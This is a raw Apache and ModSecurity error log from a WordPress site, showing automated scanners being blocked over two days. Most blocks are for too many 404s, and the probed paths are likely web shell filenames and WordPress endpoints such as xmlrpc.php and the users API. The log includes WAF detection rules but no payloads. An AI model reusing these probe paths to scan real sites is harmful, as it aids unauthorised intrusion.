[Sat Jan 31 00:14:02.780722 2026] [proxy_fcgi:error] [pid 59661:tid 59702] [client 20.100.196.146:2209] AH01071: Got error 'Primary script unknown'
[Sat Jan 31 00:14:03.629416 2026] [proxy_fcgi:error] [pid 59661:tid 59700] [client 20.100.196.146:2209] AH01071: Got error 'Primary script unknown'
[Sat Jan 31 00:14:03.909142 2026] [proxy_fcgi:error] [pid 59661:tid 59698] [client 20.100.196.146:2209] AH01071: Got error 'Primary script unknown'
[Sat Jan 31 00:14:04.173067 2026] [proxy_fcgi:error] [pid 59661:tid 59693] [client 20.100.196.146:2209] AH01071: Got error 'Primary script unknown'
[Sat Jan 31 00:14:04.443966 2026] [proxy_fcgi:error] [pid 59661:tid 59703] [client 20.100.196.146:2209] AH01071: Got error 'Primary script unknown'
[Sat Jan 31 00:14:04.723838 2026] [proxy_fcgi:error] [pid 59661:tid 59699] [client 20.100.196.146:2209] AH01071: Got error 'Primary script unknown'
[Sat Jan 31 00:14:05.000417 2026] [:error] [pid 59661:tid 59710] [client 20.100.196.146:2209] [client 20.100.196.146] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/RIP.php"] [unique_id "aXzYzJw_qINw5Uk-43W66gAAAFM"]
[Sat Jan 31 00:14:06.699383 2026] [:error] [pid 59660:tid 59682] [client 20.100.196.146:29468] [client 20.100.196.146] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/RIP.php"] [unique_id "aXzYziwTX33V6TPUqxPGfAAAABI"]
[Sat Jan 31 00:14:16.242749 2026] [:error] [pid 59748:tid 59753] [client 20.100.196.146:21710] [client 20.100.196.146] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/RIP.php"] [unique_id "aXzY2GlxTen-ziDxotRl9gAAAMI"]
[Sat Jan 31 00:14:40.735273 2026] [:error] [pid 59748:tid 59765] [client 20.100.196.146:19589] [client 20.100.196.146] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bayss.php"] [unique_id "aXzY8GlxTen-ziDxotRmJQAAAM4"]
[Sat Jan 31 00:14:53.345744 2026] [:error] [pid 59661:tid 59709] [client 20.100.196.146:2638] [client 20.100.196.146] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/w1.php"] [unique_id "aXzY_Zw_qINw5Uk-43W7TQAAAFI"]
[Sat Jan 31 00:14:56.037400 2026] [:error] [pid 59662:tid 59718] [client 20.100.196.146:20699] [client 20.100.196.146] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/w1.php"] [unique_id "aXzZAA7k73dlTgySEcg9SgAAAIA"]
[Sat Jan 31 00:15:04.135756 2026] [proxy_fcgi:error] [pid 59662:tid 59736] [client 20.100.196.146:30369] AH01071: Got error 'Primary script unknown'
[Sat Jan 31 00:15:04.541291 2026] [proxy_fcgi:error] [pid 59662:tid 59718] [client 20.100.196.146:30369] AH01071: Got error 'Primary script unknown'
[Sat Jan 31 00:15:04.806639 2026] [proxy_fcgi:error] [pid 59662:tid 59731] [client 20.100.196.146:30369] AH01071: Got error 'Primary script unknown'
[Sat Jan 31 00:15:05.069885 2026] [proxy_fcgi:error] [pid 59662:tid 59738] [client 20.100.196.146:30369] AH01071: Got error 'Primary script unknown'
[Sat Jan 31 03:11:50.042431 2026] [:error] [pid 8386:tid 8400] [client 20.46.176.183:12014] [client 20.46.176.183] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/twentytwentyfour/"] [unique_id "aX0CdtZVZWDVqOkRRiJoqQAAAcw"]
[Sat Jan 31 03:11:50.644454 2026] [:error] [pid 10752:tid 10781] [client 20.46.176.183:49796] [client 20.46.176.183] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/twentytwentyfour/"] [unique_id "aX0CdtnA3-xSNwP9jihC2gAAA5c"]
[Sat Jan 31 03:11:51.100910 2026] [:error] [pid 8386:tid 8396] [client 20.46.176.183:12009] [client 20.46.176.183] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/twentytwentyfour/"] [unique_id "aX0Cd9ZVZWDVqOkRRiJoqgAAAcg"]
[Sat Jan 31 03:11:51.556956 2026] [:error] [pid 8197:tid 8201] [client 20.46.176.183:48631] [client 20.46.176.183] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/twentytwentyfour/"] [unique_id "aX0Cd1ig9fZft2KGBff3bwAAAUA"]
[Sat Jan 31 06:32:54.758114 2026] [proxy_fcgi:error] [pid 39244:tid 39312] [client 20.211.164.12:41872] AH01071: Got error 'Primary script unknown'
[Sat Jan 31 06:32:54.804227 2026] [proxy_fcgi:error] [pid 39244:tid 39313] [client 20.211.164.12:41872] AH01071: Got error 'Primary script unknown'
[Sat Jan 31 06:32:54.837505 2026] [proxy_fcgi:error] [pid 39244:tid 39319] [client 20.211.164.12:41872] AH01071: Got error 'Primary script unknown'
[Sat Jan 31 06:32:54.877145 2026] [proxy_fcgi:error] [pid 39244:tid 39321] [client 20.211.164.12:41872] AH01071: Got error 'Primary script unknown'
[Sat Jan 31 06:32:54.937787 2026] [proxy_fcgi:error] [pid 39244:tid 39328] [client 20.211.164.12:41872] AH01071: Got error 'Primary script unknown'
[Sat Jan 31 06:32:54.979534 2026] [proxy_fcgi:error] [pid 39244:tid 39311] [client 20.211.164.12:41872] AH01071: Got error 'Primary script unknown'
[Sat Jan 31 06:32:55.013870 2026] [proxy_fcgi:error] [pid 39244:tid 39314] [client 20.211.164.12:41872] AH01071: Got error 'Primary script unknown'
[Sat Jan 31 06:32:55.183447 2026] [proxy_fcgi:error] [pid 39244:tid 39331] [client 20.211.164.12:41872] AH01071: Got error 'Primary script unknown'
[Sat Jan 31 06:32:55.203975 2026] [proxy_fcgi:error] [pid 39244:tid 39334] [client 20.211.164.12:41872] AH01071: Got error 'Primary script unknown'
[Sat Jan 31 06:32:56.717955 2026] [:error] [pid 39244:tid 39332] [client 20.211.164.12:41872] [client 20.211.164.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nc4.php"] [unique_id "aX0xmHo-KRTvg3jHEDzn-gAAAJY"]
[Sat Jan 31 06:32:56.837765 2026] [:error] [pid 52415:tid 52430] [client 20.211.164.12:8509] [client 20.211.164.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nc4.php"] [unique_id "aX0xmJ-DUxb_li2fU6INAAAAAY0"]
[Sat Jan 31 06:32:56.942188 2026] [:error] [pid 39244:tid 39322] [client 20.211.164.12:45115] [client 20.211.164.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nc4.php"] [unique_id "aX0xmHo-KRTvg3jHEDzn_AAAAIw"]
[Sat Jan 31 06:32:57.024308 2026] [:error] [pid 52415:tid 52419] [client 20.211.164.12:44691] [client 20.211.164.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nc4.php"] [unique_id "aX0xmZ-DUxb_li2fU6INAQAAAYI"]
[Sat Jan 31 07:06:00.901413 2026] [proxy_fcgi:error] [pid 20210:tid 20217] [client 20.214.137.92:63356] AH01071: Got error 'Primary script unknown'
[Sat Jan 31 07:06:01.042570 2026] [proxy_fcgi:error] [pid 20210:tid 20216] [client 20.214.137.92:63356] AH01071: Got error 'Primary script unknown'
[Sat Jan 31 07:06:01.182212 2026] [proxy_fcgi:error] [pid 20210:tid 20213] [client 20.214.137.92:63356] AH01071: Got error 'Primary script unknown'
[Sat Jan 31 07:06:01.472936 2026] [proxy_fcgi:error] [pid 20210:tid 20228] [client 20.214.137.92:63356] AH01071: Got error 'Primary script unknown'
[Sat Jan 31 07:06:01.612165 2026] [proxy_fcgi:error] [pid 20210:tid 20234] [client 20.214.137.92:63356] AH01071: Got error 'Primary script unknown'
[Sat Jan 31 07:06:01.760708 2026] [proxy_fcgi:error] [pid 20210:tid 20229] [client 20.214.137.92:63356] AH01071: Got error 'Primary script unknown'
[Sat Jan 31 07:06:01.901159 2026] [proxy_fcgi:error] [pid 20210:tid 20219] [client 20.214.137.92:63356] AH01071: Got error 'Primary script unknown'
[Sat Jan 31 07:06:02.042742 2026] [proxy_fcgi:error] [pid 20210:tid 20226] [client 20.214.137.92:63356] AH01071: Got error 'Primary script unknown'
[Sat Jan 31 07:06:02.181193 2026] [proxy_fcgi:error] [pid 20210:tid 20231] [client 20.214.137.92:63356] AH01071: Got error 'Primary script unknown'
[Sat Jan 31 07:06:02.465414 2026] [:error] [pid 20210:tid 20233] [client 20.214.137.92:63356] [client 20.214.137.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/akismet.php"] [unique_id "aX05WnKy7OGBlTY8MCfNeAAAARU"]
[Sat Jan 31 07:06:03.011997 2026] [:error] [pid 52484:tid 52500] [client 20.214.137.92:58937] [client 20.214.137.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/akismet.php"] [unique_id "aX05W0pwiaulxucQh7XMXQAAAg4"]
[Sat Jan 31 07:06:03.557244 2026] [:error] [pid 20836:tid 20850] [client 20.214.137.92:57113] [client 20.214.137.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/akismet.php"] [unique_id "aX05W4ACllgWRWVrYIT_pAAAAUk"]
[Sat Jan 31 07:06:04.100846 2026] [:error] [pid 52520:tid 52531] [client 20.214.137.92:58935] [client 20.214.137.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/akismet.php"] [unique_id "aX05XGS_bInnwm0xKSqjpgAAAkk"]
[Sat Jan 31 07:29:06.006053 2026] [autoindex:error] [pid 52451:tid 52459] [client 13.75.54.243:21256] AH01276: Cannot serve directory /usr/local/apache/autossl_tmp/.well-known/acme-challenge/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Jan 31 07:29:06.132724 2026] [proxy_fcgi:error] [pid 52451:tid 52463] [client 13.75.54.243:21256] AH01071: Got error 'Primary script unknown'
[Sat Jan 31 07:29:06.254069 2026] [proxy_fcgi:error] [pid 52451:tid 52462] [client 13.75.54.243:21256] AH01071: Got error 'Primary script unknown'
[Sat Jan 31 07:29:06.497886 2026] [proxy_fcgi:error] [pid 52451:tid 52457] [client 13.75.54.243:21256] AH01071: Got error 'Primary script unknown'
[Sat Jan 31 07:29:06.618440 2026] [proxy_fcgi:error] [pid 52451:tid 52458] [client 13.75.54.243:21256] AH01071: Got error 'Primary script unknown'
[Sat Jan 31 07:29:06.748130 2026] [proxy_fcgi:error] [pid 52451:tid 52476] [client 13.75.54.243:21256] AH01071: Got error 'Primary script unknown'
[Sat Jan 31 07:29:06.868407 2026] [proxy_fcgi:error] [pid 52451:tid 52460] [client 13.75.54.243:21256] AH01071: Got error 'Primary script unknown'
[Sat Jan 31 07:29:07.001094 2026] [proxy_fcgi:error] [pid 52451:tid 52468] [client 13.75.54.243:21256] AH01071: Got error 'Primary script unknown'
[Sat Jan 31 07:29:07.122759 2026] [proxy_fcgi:error] [pid 52451:tid 52477] [client 13.75.54.243:21256] AH01071: Got error 'Primary script unknown'
[Sat Jan 31 07:29:07.482220 2026] [:error] [pid 52451:tid 52470] [client 13.75.54.243:21256] [client 13.75.54.243] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/network/"] [unique_id "aX0-w3ubVy7MGYWM2NYrWQAAAdA"]
[Sat Jan 31 07:29:07.954489 2026] [:error] [pid 52520:tid 52543] [client 13.75.54.243:20812] [client 13.75.54.243] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/network/"] [unique_id "aX0-w2S_bInnwm0xKSqrVwAAAlU"]
[Sat Jan 31 07:29:08.435510 2026] [:error] [pid 52451:tid 52467] [client 13.75.54.243:25742] [client 13.75.54.243] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/network/"] [unique_id "aX0-xHubVy7MGYWM2NYrWgAAAc0"]
[Sat Jan 31 07:29:08.906173 2026] [:error] [pid 39244:tid 39334] [client 13.75.54.243:18291] [client 13.75.54.243] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/network/"] [unique_id "aX0-xHo-KRTvg3jHEDzyHAAAAJg"]
[Sat Jan 31 09:03:49.787715 2026] [:error] [pid 52520:tid 52525] [client 78.134.28.66:14329] [client 78.134.28.66] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 78.134.28.66, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aX1U9WS_bInnwm0xKSrUDAAAAkM"]
[Sat Jan 31 09:03:49.802349 2026] [proxy_fcgi:error] [pid 52520:tid 52525] [client 78.134.28.66:14329] AH01071: Got error 'Primary script unknown'
[Sat Jan 31 09:59:10.231471 2026] [proxy_fcgi:error] [pid 52520:tid 52535] [client 3.127.203.41:43447] AH01071: Got error 'Primary script unknown'
[Sat Jan 31 22:13:24.918506 2026] [:error] [pid 44532:tid 44552] [client 104.28.153.27:44402] [client 104.28.153.27] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/style.php"] [unique_id "aX4OBMH-68uYbAtfrZ2XVgAAAVA"]
[Sun Feb 01 01:36:23.560054 2026] [:error] [pid 59523:tid 59535] [client 37.139.53.198:63529] [client 37.139.53.198] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||agraphics.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "agraphics.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aX49l5EkxOIGmVhqUWKr4QAAAwg"]
[Sun Feb 01 05:22:05.050783 2026] [proxy_fcgi:error] [pid 10616:tid 10635] [client 20.219.60.37:26380] AH01071: Got error 'Primary script unknown'
[Sun Feb 01 05:22:05.194948 2026] [proxy_fcgi:error] [pid 10616:tid 10624] [client 20.219.60.37:26380] AH01071: Got error 'Primary script unknown'
[Sun Feb 01 05:22:05.336252 2026] [proxy_fcgi:error] [pid 10616:tid 10636] [client 20.219.60.37:26380] AH01071: Got error 'Primary script unknown'
[Sun Feb 01 05:22:05.476987 2026] [proxy_fcgi:error] [pid 10616:tid 10643] [client 20.219.60.37:26380] AH01071: Got error 'Primary script unknown'
[Sun Feb 01 05:22:05.757508 2026] [proxy_fcgi:error] [pid 10616:tid 10625] [client 20.219.60.37:26380] AH01071: Got error 'Primary script unknown'
[Sun Feb 01 05:22:06.213130 2026] [proxy_fcgi:error] [pid 10616:tid 10632] [client 20.219.60.37:26380] AH01071: Got error 'Primary script unknown'
[Sun Feb 01 05:22:06.354678 2026] [proxy_fcgi:error] [pid 10616:tid 10641] [client 20.219.60.37:26380] AH01071: Got error 'Primary script unknown'
[Sun Feb 01 05:22:06.515073 2026] [proxy_fcgi:error] [pid 10616:tid 10637] [client 20.219.60.37:26380] AH01071: Got error 'Primary script unknown'
[Sun Feb 01 05:22:06.681087 2026] [proxy_fcgi:error] [pid 10616:tid 10636] [client 20.219.60.37:26380] AH01071: Got error 'Primary script unknown'
[Sun Feb 01 05:22:06.841899 2026] [proxy_fcgi:error] [pid 10616:tid 10625] [client 20.219.60.37:26380] AH01071: Got error 'Primary script unknown'
[Sun Feb 01 05:22:06.999587 2026] [:error] [pid 10616:tid 10638] [client 20.219.60.37:26380] [client 20.219.60.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/222.php"] [unique_id "aX5yfmd8pZdmVx6pUp7H6AAAANI"]
[Sun Feb 01 05:22:15.118464 2026] [:error] [pid 10508:tid 10566] [client 20.219.60.37:9241] [client 20.219.60.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/222.php"] [unique_id "aX5yhwFwdoMQv5EWp9tXWQAAAFY"]
[Sun Feb 01 05:22:25.689855 2026] [:error] [pid 10506:tid 10530] [client 20.219.60.37:7237] [client 20.219.60.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about.php"] [unique_id "aX5yka32IC2Db4uwFyORQgAAAA4"]
[Sun Feb 01 05:22:26.502032 2026] [:error] [pid 10509:tid 10576] [client 20.219.60.37:29141] [client 20.219.60.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about.php"] [unique_id "aX5yklMNpJBihOJgwVvU0wAAAIU"]
[Sun Feb 01 05:22:48.276859 2026] [:error] [pid 10508:tid 10567] [client 20.219.60.37:27365] [client 20.219.60.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/amax.php"] [unique_id "aX5yqAFwdoMQv5EWp9tXkAAAAFc"]
[Sun Feb 01 05:22:54.919772 2026] [:error] [pid 10509:tid 10588] [client 20.219.60.37:27349] [client 20.219.60.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/image.php"] [unique_id "aX5yrlMNpJBihOJgwVvVBwAAAJE"]
[Sun Feb 01 05:22:57.101934 2026] [:error] [pid 10508:tid 10557] [client 20.219.60.37:8850] [client 20.219.60.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/image.php"] [unique_id "aX5ysQFwdoMQv5EWp9tXqQAAAE0"]
[Sun Feb 01 05:23:11.912079 2026] [proxy_fcgi:error] [pid 10508:tid 10546] [client 20.219.60.37:1490] AH01071: Got error 'Primary script unknown'
[Sun Feb 01 05:23:12.055517 2026] [proxy_fcgi:error] [pid 10508:tid 10559] [client 20.219.60.37:1490] AH01071: Got error 'Primary script unknown'
[Sun Feb 01 05:23:12.468637 2026] [proxy_fcgi:error] [pid 10508:tid 10568] [client 20.219.60.37:1490] AH01071: Got error 'Primary script unknown'
[Sun Feb 01 05:23:12.614704 2026] [proxy_fcgi:error] [pid 10508:tid 10566] [client 20.219.60.37:1490] AH01071: Got error 'Primary script unknown'
[Sun Feb 01 05:23:12.844094 2026] [proxy_fcgi:error] [pid 10508:tid 10558] [client 20.219.60.37:1490] AH01071: Got error 'Primary script unknown'
[Sun Feb 01 05:23:13.079972 2026] [proxy_fcgi:error] [pid 10508:tid 10556] [client 20.219.60.37:1490] AH01071: Got error 'Primary script unknown'
[Sun Feb 01 05:23:13.221291 2026] [proxy_fcgi:error] [pid 10508:tid 10551] [client 20.219.60.37:1490] AH01071: Got error 'Primary script unknown'
[Sun Feb 01 05:23:13.363969 2026] [proxy_fcgi:error] [pid 10508:tid 10561] [client 20.219.60.37:1490] AH01071: Got error 'Primary script unknown'
[Sun Feb 01 05:23:13.510219 2026] [proxy_fcgi:error] [pid 10508:tid 10552] [client 20.219.60.37:1490] AH01071: Got error 'Primary script unknown'
[Sun Feb 01 05:23:13.657075 2026] [proxy_fcgi:error] [pid 10508:tid 10548] [client 20.219.60.37:1490] AH01071: Got error 'Primary script unknown'
[Sun Feb 01 05:23:14.088714 2026] [proxy_fcgi:error] [pid 10508:tid 10550] [client 20.219.60.37:1490] AH01071: Got error 'Primary script unknown'
[Sun Feb 01 05:23:14.229583 2026] [:error] [pid 10508:tid 10562] [client 20.219.60.37:1490] [client 20.219.60.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "aX5ywgFwdoMQv5EWp9tX0AAAAFI"]
[Sun Feb 01 05:23:15.233536 2026] [:error] [pid 10508:tid 10568] [client 20.219.60.37:7240] [client 20.219.60.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xa.php"] [unique_id "aX5ywwFwdoMQv5EWp9tX0QAAAFg"]
[Sun Feb 01 05:23:25.290507 2026] [:error] [pid 10616:tid 10643] [client 20.219.60.37:9263] [client 20.219.60.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xa.php"] [unique_id "aX5yzWd8pZdmVx6pUp7IpQAAANc"]
[Sun Feb 01 05:23:27.859390 2026] [:error] [pid 10508:tid 10562] [client 20.219.60.37:25831] [client 20.219.60.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xa.php"] [unique_id "aX5yzwFwdoMQv5EWp9tX6AAAAFI"]
